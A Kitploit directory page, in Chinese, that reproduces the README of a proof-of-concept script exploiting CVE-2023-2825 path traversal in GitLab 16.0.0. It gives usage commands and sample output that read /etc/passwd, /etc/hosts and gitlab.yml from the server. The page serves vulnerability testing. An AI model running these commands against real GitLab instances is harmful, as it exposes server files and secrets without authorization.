Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-2825-PoC — 针对CVE-2023-2825的PoC:自动化GitLab 16.0.0任意文件读取,利用嵌套公共组、项目上传遍历、可重用上传路径,并提供简洁的CLI输出。 | Kitploit
工具/GitHubGitHub/groppoxx/cve-2023-2825-poc
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

针对CVE-2023-2825的PoC:自动化GitLab 16.0.0任意文件读取,利用嵌套公共组、项目上传遍历、可重用上传路径,并提供简洁的CLI输出。

查看仓库
413个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-2825-PoC

针对 CVE-2023-2825 的概念验证,这是 GitLab CE/EE 16.0.0 中的一个任意文件读取漏洞。

该脚本使用有效的 GitLab 账户登录,创建所需的公开嵌套组结构,创建一个公开项目,上传附件,并利用易受攻击的上传路径遍历行为从 GitLab 服务器读取目标文件。

它还支持复用现有上传路径,因此您无需为每次文件读取都创建新的组和项目。

功能说明

  1. 向目标 GitLab 实例进行身份验证。
  2. 使用短路径创建嵌套的公开组,以实现可靠的深层嵌套。
  3. 在最深层的组内创建一个公开项目。
  4. 向该项目上传一个小的附件。
  5. 从上传目录构建遍历路径。
  6. 读取单个文件或文件列表。
  7. 打印可复用的上传路径,以便更快地进行后续读取。

环境要求

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

所需的 Python 包:

root@kitploit:~
beautifulsoup4
requests
urllib3

快速开始

尖括号内的值为占位符。请将其替换为您自己的值,并且不要包含 < 或 > 字符。

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

占位符

root@kitploit:~
<GITLAB_URL>   # 目标 GitLab 基础 URL。示例:http://gitlab.local
<USERNAME>     # 有效的 GitLab 用户名。
<PASSWORD>     # 有效的 GitLab 密码。

完整示例

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

示例输出:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] 获取 CSRF 令牌
[2026-05-17T18:20:10Z] [+] 找到 CSRF 令牌
[2026-05-17T18:20:11Z] [*] 以 alice 身份登录
[2026-05-17T18:20:11Z] [+] 登录成功
[2026-05-17T18:20:12Z] [*] 创建 11 个嵌套的公开组
[2026-05-17T18:20:18Z] [+] 已创建组:A1B-11
[2026-05-17T18:20:19Z] [*] 创建公开项目
[2026-05-17T18:20:20Z] [+] 可复用上传路径:/A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] 读取文件:/etc/hosts

[+] /etc/hosts 的内容
127.0.0.1 localhost

复用上传路径

成功运行后,脚本会打印一个可复用的上传路径:

root@kitploit:~
可复用上传路径:/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

使用 --reuse-path 跳过登录、组创建、项目创建和上传:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

您也可以传入完整 URL 并省略 --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

读取多个文件

创建一个文件列表:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

运行:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

可选参数

root@kitploit:~
--groups <N>
   要创建的嵌套公开组数量。默认值:11

--depth <N>
   要使用的遍历段数量。默认值:12

--reuse-path <PATH_OR_URL>
   现有项目上传目录。跳过设置,直接读取文件。

--only-final
   隐藏进度日志,仅打印文件内容。

--no-color
   禁用 ANSI 颜色。

--debug
   打印生成的遍历路径,用于故障排除。

注意事项

  • 该利用需要 GitLab CE/EE 16.0.0。
  • 需要有效的 GitLab 账户才能创建公开嵌套组和项目。
  • 易受攻击的路径要求附件位于多个公开组嵌套内的公开项目中。
  • 特意使用短组名称,以避免 GitLab 中因路径过深而创建失败。
  • 尽可能使用 --reuse-path,以避免创建不必要的组和项目。

法律声明

本 PoC 仅用于授权的安全测试、实验环境及漏洞验证。 未经明确许可,请勿将其用于任何系统。

下载工具